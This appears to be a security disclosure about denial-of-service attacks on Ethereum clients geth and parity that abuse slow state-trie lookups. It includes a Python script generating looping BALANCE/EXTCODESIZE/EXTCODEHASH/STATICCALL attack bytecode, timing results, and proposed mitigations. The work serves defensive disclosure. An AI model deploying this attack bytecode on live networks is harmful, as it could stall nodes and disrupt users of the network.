Summary
The EVM-opcodes BALANCE, EXTCODEHASH, EXTCODESIZE, and CALL/STATICCALL/DELEGATECALL/CALLCODE are implemented in geth and parity to lookup their values inside a merkle patricia tree. These accesses get slower as the state grows, which allows efficient DoS attacks against Ethereum today with transactions whose execution time is close to the block interval even on modern, fast hardware. Ordinary hardware is clearly not able to keep up with block execution times exceeding 70 seconds. These attacks are reproducible and can partially circumvent current caching mechanisms.
Attack contracts
In general, contracts which exhaustively query non-existing accounts for the opcodes mentioned above are able to cause very slow transaction times. To demonstrate, we use the following pattern in our attack:
5a - GAS
31 - BALANCE
50 - POP
GAS allows us to cheaply push different "addresses" onto the stack. Additionally, it will return different values for different contract executions, which allows a slow execution as explained below.
Inside the attack contract, these opcodes are repeated as often as possible until the maximum smart contract size is almost reached. They are preceded by a JUMPDEST and followed by a JUMP to the beginning of the contract. The contract is executed until all gas is used.
While currently the gas limit is at 10 million, using gas refunds it is possible to craft blocks that consume roughly double, so 20 million gas. Such blocks have certain overhead for the gas refunds but still allow roughly 15m million gas to be consumed by attack code. This would make the attack to be even more potent, but is not used in our experiments.
It is possible to replace BALANCE above with EXTCODESIZE or EXTCODEHASH to get comparable attack contracts. In the case of EXTCODESIZE the gas cost of this operation is higher (700 instead of 400), which allows less executions inside one block and correspondibly faster block processing times.
For the CALL-related opcodes, we need to push additional values onto the stack and they consume 700 gas. Otherwise, the attack works identical for them.
Measurements
We measured the execution times of 10 million gas transaction against recent geth and parity implementations. In this section, we present our attack script and our results.
Python script
We used the following python script to test the impact of these attack contracts. To simulate the execution times on top of the mainnet storage we use eth_call. We believe that this is the best choice, as it allows easy attack reproducability without the need to actually deploy the contracts.
For geth, eth_call lets us change the code of a contract. For parity, we are executing the code as a "constructor" of a new contract. Hence, for geth we need no calldata as we have simulated the contract deployment. For parity, we reduce calldata costs by looping after 10 BALANCE operations. If the contract would have been deployed on mainnet, there would be no calldata costs for parity which would further improve the attack.
def saeiso_attack(parity=False, opcode="31"):
"""
This will try to execute as many different opcode operations as possible and measure the execution time
We will use an infinite loop containing BALANCE operations
Args:
parity: (bool) Run against parity instead of geth
opcode: (string) Opcode to use for the attack.
31: BALANCE, 3B: EXTCODESIZE, 3F: EXTCODEHASH, FA: STATICCALL
Returns: (double) time spent in transaction
"""
# Repeat code 10 times in case of parity (to keep cost of calldata low) and 8000 times for geth to create a big contract
code_repitions = 10 if parity else 8000
# Special case STATICCALL
if opcode == "FA":
code = "5b%s600056" % (("60008080805a5a%s50"%opcode) * code_repitions) # JUMPDEST (PUSH 0 DUP1 DUP1 DUP1 GAS GAS STATICCALL POP) * 8'000 PUSH1 0x0 JUMP
else:
code = "5b%s600056" % (("5a%s50"%opcode) * code_repitions) # JUMPDEST (GAS BALANCE/EXTCODESIZE/EXTCODEHASH POP) * 8'000 PUSH1 0x0 JUMP
geth_params = [
{
"gas":hex(random.randint(9800000,10000000)), # providing random gas limit between 9.8m and 10m - geth is aggressively caching already queried balances
"to":"0x5a31505a31505a31505a31505a31505a31505a31" # this address is called with the code provided below
},
"latest",
{
"0x5a31505a31505a31505a31505a31505a31505a31": {
"code": "0x%s" % code
}
}
]
parity_params = [
{
"gas": hex(random.randint(9800000,10000000)), # providing random gas
"from": "0x5a31505a31505a31505a31505a31505a31505a31",
"data": "0x%s" % code
}
]
start = time.time()
r = requests.post("http://localhost:8545", json={
"method": "eth_call",
"params": parity_params if parity else geth_params, "id": 1, "jsonrpc": "2.0"
})
duration = time.time() - start
print("Transaction executed in %s seconds" % duration)
return duration
Using eth_call comes with an overhead for JSON-RPC, but with around 0.03 seconds we found this overhead to be negligible.
Results
Technical specs (standard cloud node):
- 4 VCPUs (Intel Xeon Processor (Skylake, IBRS), 2.1GHz)
- 16GB RAM
- local SSD
- using default options for both parity and geth
- all experiments have been repeated multiple times to account for caches being empty
- geth has a 5 second timeout for eth_call which we disabled for these tests with a patched version
parity-ethereum//v2.5.9-stable-06c7096-20190926/x86_64-linux-gnu/rustc1.36.0
Analyzing BALANCE
Transaction executed in 90.47014665603638 seconds
Transaction executed in 89.56165289878845 seconds
Transaction executed in 88.18044257164001 seconds
BALANCE - Mean execution time of 3 trials: 89.404081 seconds (std-dev: 1.152956)
Analyzing EXTCODEHASH
Transaction executed in 96.50144910812378 seconds
Transaction executed in 88.31304359436035 seconds
Transaction executed in 89.0710859298706 seconds
EXTCODEHASH - Mean execution time of 3 trials: 91.295193 seconds (std-dev: 4.524653)
Analyzing EXTCODESIZE
Transaction executed in 51.432116985321045 seconds
Transaction executed in 48.75339484214783 seconds
Transaction executed in 48.91419434547424 seconds
EXTCODESIZE - Mean execution time of 3 trials: 49.699902 seconds (std-dev: 1.502295)
Analyzing STATICCALL
Transaction executed in 48.890034437179565 seconds
Transaction executed in 49.50768303871155 seconds
Transaction executed in 45.992751359939575 seconds
STATICCALL - Mean execution time of 3 trials: 48.130156 seconds (std-dev: 1.876632)
-
geth/v1.9.6-stable-eae9ad2d/linux-amd64/go1.13.1
Analyzing BALANCE
Transaction executed in 77.99762344360352 seconds
Transaction executed in 73.15077257156372 seconds
Transaction executed in 75.63355326652527 seconds
BALANCE - Mean execution time of 3 trials: 75.593983 seconds (std-dev: 2.423668)
Analyzing EXTCODEHASH
Transaction executed in 71.95817303657532 seconds
Transaction executed in 67.59259176254272 seconds
Transaction executed in 66.93250370025635 seconds
EXTCODEHASH - Mean execution time of 3 trials: 68.827756 seconds (std-dev: 2.731037)
Analyzing EXTCODESIZE
Transaction executed in 38.27424335479736 seconds
Transaction executed in 35.77645754814148 seconds
Transaction executed in 37.73279929161072 seconds
EXTCODESIZE - Mean execution time of 3 trials: 37.261167 seconds (std-dev: 1.313987)
Analyzing STATICCALL
Transaction executed in 33.138795137405396 seconds
Transaction executed in 37.53399038314819 seconds
Transaction executed in 33.561859130859375 seconds
STATICCALL - Mean execution time of 3 trials: 34.744882 seconds (std-dev: 2.424684)
Technical specs (powerful developer laptop):
- 8 VCPUs (Intel® Core™ i7-8550U, 1.8GHz/4Ghz)
- 32GB RAM
- local NVMe
- default options
- only tested for geth
Analysis
The opcodes above have all in common that their value is being looked up inside a merkle patricia tree which causes high overhead nowadays due to the state being larger. In addition, requesting non-existing addresses forces a complete traversion.
The general problem can only be solved by re-implementing the lookup for values in a constant time fashion. For cases where this is impossible, the gas cost needs to be dependend on the merkle patricia tree depth.
The special problem of looking up non-existing accounts can potentially be more efficiently implemented by using bloom filters which track all existing accounts and allow to immediately return 0 for the non-existing ones. This approach would produce allow false positives as the bloom filter can contain addresses which don't exist on the heaviest chain. However, such addresses are cought in the direct lookup. Hence, the bloom filter implementation doesn't have to take into consideration chain reorgs or selfdestructs.
If such a bloom filter would be implemented, an attacker could still craft smart contracts (or direct transactions to 0x0) which query the balance of existing addresses, but this attack would be harder to execute, would make assumptions on the cache state and would overall be considerable more expensive with a setup fee of ~4200 gas per operation. Nevertheless, a determined attacker can prepare these contracts and later execute the slow transactions in quick succession to interrupt the network.
Related Work
Broken Metre
Recently, Daniel and Benjamin released "Broken Metre: Attacking Resource Metering in EVM" (https://arxiv.org/pdf/1909.07220). The work uses a genetic algorithm to find transactions which are slow. The generated bytecode was provided to us by Daniel and we analyzed the results against geth and parity to compare it to the results obtained when running against aleth.
To reproduce the results, we executed all smart contracts which the genetic algoritm created in its 240 generations using eth_call in succession, which gives an upper bound as clients could otherwise parallelize this work.
Overall we found that on modern hardware with sufficient large cache sizes, the execution time of most blocks is around 1 second after the caches have been prepopulated. A closer analysis of this code also showed that the algorithm was narrowing down on the combination of GAS and BALANCE to create slow transactions. We haven't been able to identify other especial slow combinations in the bytecode but are actively working together with Daniel to allow the genetic algorithm to train against geth and parity and to use more promising opcode combinations.
One disadvantage of the genetic algorithm is its depedency on a certain cache state and blockchain state. For example, it uses the BLOCKHASH operation with fixed inputs, but by the time a generated transaction would be executed on the mainnet, the BLOCKHASH could already return 0 as the queried hash is no longer included in the 256 most recent hashes. Here, we try produce transactions that are slow with high likelihood given an unknown cache state.
EIP-1884
The EIP 1884 is planning to raise the cost of BALANCE and EXTCODEHASH to 700. This does not solve the problem as it is still possible to craft transactions which are dangerously slow. This can be seen in the results for EXTCODESIZE above as the current gas cost of EXTCODESIZE is already 700. Furthermore the cost of CALL-related opcodes will remain identical.
Contracts broken by EIP-1884
EIP-1884 is not backwards compatible. We analysed which currently working contracts would cease to function after EIP-1884. We found numerous such contracts, including the roughly 600 contracts of Aragon DAOs and two very popular contracts, including KyberSwap. The full analysis is available here.
Whenever possible, we contacted the authors and generally tried to raise awareness through presentations. We know that multiple teams are currently working on contract upgrades.
Further work
While this work focuses on opcodes against the state trie, the same applies to storage trie operations as long as the storage trie is sufficiently deep. We are planning to conduct further experiments with SLOAD.
Contact
For further questions, don't hesitate to reach out at
- matthias@chainsecurity.com / Telegram @MatthiasEgli
- hubert@chainsecuriy.com / Telegram @HRitzdorf
- daniel.perez@imperial.ac.uk / Telegram @danhper